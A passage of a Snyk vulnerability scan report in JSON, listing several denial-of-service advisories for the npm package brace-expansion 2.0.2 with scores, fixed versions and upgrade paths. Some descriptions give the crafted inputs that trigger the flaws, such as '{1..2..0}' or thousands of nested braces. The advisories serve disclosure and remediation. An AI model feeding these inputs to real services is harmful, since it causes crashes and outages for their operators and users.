"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
